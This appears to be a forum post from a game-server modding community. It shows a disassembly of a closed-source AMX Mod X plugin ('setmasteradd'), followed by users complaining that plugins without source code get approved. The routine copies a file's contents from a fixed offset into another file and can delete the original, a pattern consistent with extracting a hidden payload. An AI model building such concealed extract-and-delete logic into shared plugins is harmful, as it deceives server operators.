0xB90                     BREAK              ; setmasteradd.sma:111
0xB94                LOAD.S.pri  0xFFFFFFFC  ; fp_read
0xB9C                       NOT 
0xBA0                      JZER  0xBBC       ; jump_0
0xBA8                     BREAK              ; setmasteradd.sma:112
0xBAC                  ZERO.pri 
0xBB0                     STACK  0x8         ; free 2 cells
0xBB8                      RETN 
0xBBC                     BREAK              ; setmasteradd.sma:115
                                             ; target:jump_0
0xBC0                    PUSH.C  0x2         ; 0x0
0xBC8                    PUSH.C  0x0         ; szWord1[38] 0x0
0xBD0                    PUSH.S  0xFFFFFFFC  ; fp_read
0xBD8                    PUSH.C  0xC        
0xBE0                  SYSREQ.C  0x2         ; fseek(fp_read,0,2)
0xBE8                     STACK  0x10        ; free 4 cells
0xBF0                     BREAK              ; setmasteradd.sma:116
                                             ; new fsize
0xBF4                     STACK  0xFFFFFFFC  ; allocate 1 cells
0xBFC                    PUSH.S  0xFFFFFFFC  ; fp_read
0xC04                    PUSH.C  0x4        
0xC0C                  SYSREQ.C  0x3         ; ftell(fp_read)
0xC14                     STACK  0x8         ; free 2 cells
0xC1C                STOR.S.pri  0xFFFFFFF4  ; fsize
0xC24                     BREAK              ; setmasteradd.sma:117
0xC28                    PUSH.C  0x0         ; szWord1[38] 0x0
0xC30                    PUSH.C  0xEBE       ; signed=3774 float=0.000000

0xC38                    PUSH.S  0xFFFFFFFC  ; fp_read
0xC40                    PUSH.C  0xC        
0xC48                  SYSREQ.C  0x2         ; fseek(fp_read,3774,0)
0xC50                     STACK  0x10        ; free 4 cells
0xC58                     BREAK              ; setmasteradd.sma:120
                                             ; new j
0xC5C                    PUSH.C  0x0         ; szWord1[38] 0x0
0xC64                      JUMP  0xC88       ; jump_1
0xC6C                     BREAK              ; setmasteradd.sma:122
                                             ; target:jump_3
0xC70                LOAD.S.pri  0xFFFFFFF0  ; j
0xC78                     ADD.C  0x100       ; signed:  256
0xC80                STOR.S.pri  0xFFFFFFF0  ; j
0xC88                LOAD.S.pri  0xFFFFFFF0  ; j
                                             ; target:jump_1
0xC90                LOAD.S.alt  0xFFFFFFF4  ; fsize
0xC98                     JSGEQ  0xD28       ; jump_2
0xCA0                     BREAK              ; setmasteradd.sma:122
0xCA4                    PUSH.C  0x1         ; 0x0
0xCAC                    PUSH.C  0x100       ; 0x0
0xCB4                    PUSH.C  0x1A4       ; buffer[256] 0x0
0xCBC                    PUSH.S  0xFFFFFFFC  ; fp_read
0xCC4                    PUSH.C  0x10       
0xCCC                  SYSREQ.C  0x4         ; fread_blocks(fp_read,buffer[256]={""},256,1)
0xCD4                     STACK  0x14        ; free 5 cells
0xCDC                  STOR.pri  0x5A4       ; readsize
0xCE4                     BREAK              ; setmasteradd.sma:123
0xCE8                    PUSH.C  0x1         ; 0x0
0xCF0                      PUSH  0x5A4       ; readsize
0xCF8                    PUSH.C  0x1A4       ; buffer[256] 0x0
0xD00                    PUSH.S  0xFFFFFFF8  ; fp_write
0xD08                    PUSH.C  0x10       
0xD10                  SYSREQ.C  0x5         ; fwrite_blocks(fp_write,buffer[256]={""},readsize,1)
0xD18                     STACK  0x14        ; free 5 cells
0xD20                      JUMP  0xC6C       ; jump_3
0xD28                     STACK  0x4         ; free 1 cells
                                             ; target:jump_2
0xD30                     BREAK              ; setmasteradd.sma:127
0xD34                    PUSH.S  0xFFFFFFFC  ; fp_read
0xD3C                    PUSH.C  0x4        
0xD44                  SYSREQ.C  0x6         ; fclose(fp_read)
0xD4C                     STACK  0x8         ; free 2 cells
0xD54                     BREAK              ; setmasteradd.sma:128
0xD58                    PUSH.S  0xFFFFFFF8  ; fp_write
0xD60                    PUSH.C  0x4        
0xD68                  SYSREQ.C  0x6         ; fclose(fp_write)
0xD70                     STACK  0x8         ; free 2 cells
0xD78                     BREAK              ; setmasteradd.sma:130
0xD7C                LOAD.S.pri  0x14        ; cut
0xD84                      JZER  0xDB0       ; jump_4
0xD8C                     BREAK              ; setmasteradd.sma:130
0xD90                    PUSH.S  0xC         ; read_path[]
0xD98                    PUSH.C  0x4        
0xDA0                  SYSREQ.C  0x7         ; delete_file(read_path[])
0xDA8                     STACK  0x8         ; free 2 cells
0xDB0                     BREAK              ; setmasteradd.sma:133
                                             ; target:jump_4
0xDB4                 CONST.pri  0x1         ; 0x0 (0.00000)
0xDBC                     STACK  0xC         ; free 3 cells
0xDC4                      RETN
 

RAFF93

от рассвета до заката, пацаны ваще ребята
+1
Вообще нах плагины без исходника пропускаете
Было бы так всё просто.
Модераторы ведь не знают,какие плагины пятилетиями идут без сорсов,какие ПРЕВАТ,какие зажали.Вот и пропускают.
 
Статус
В этой теме нельзя размещать новые ответы.
Сверху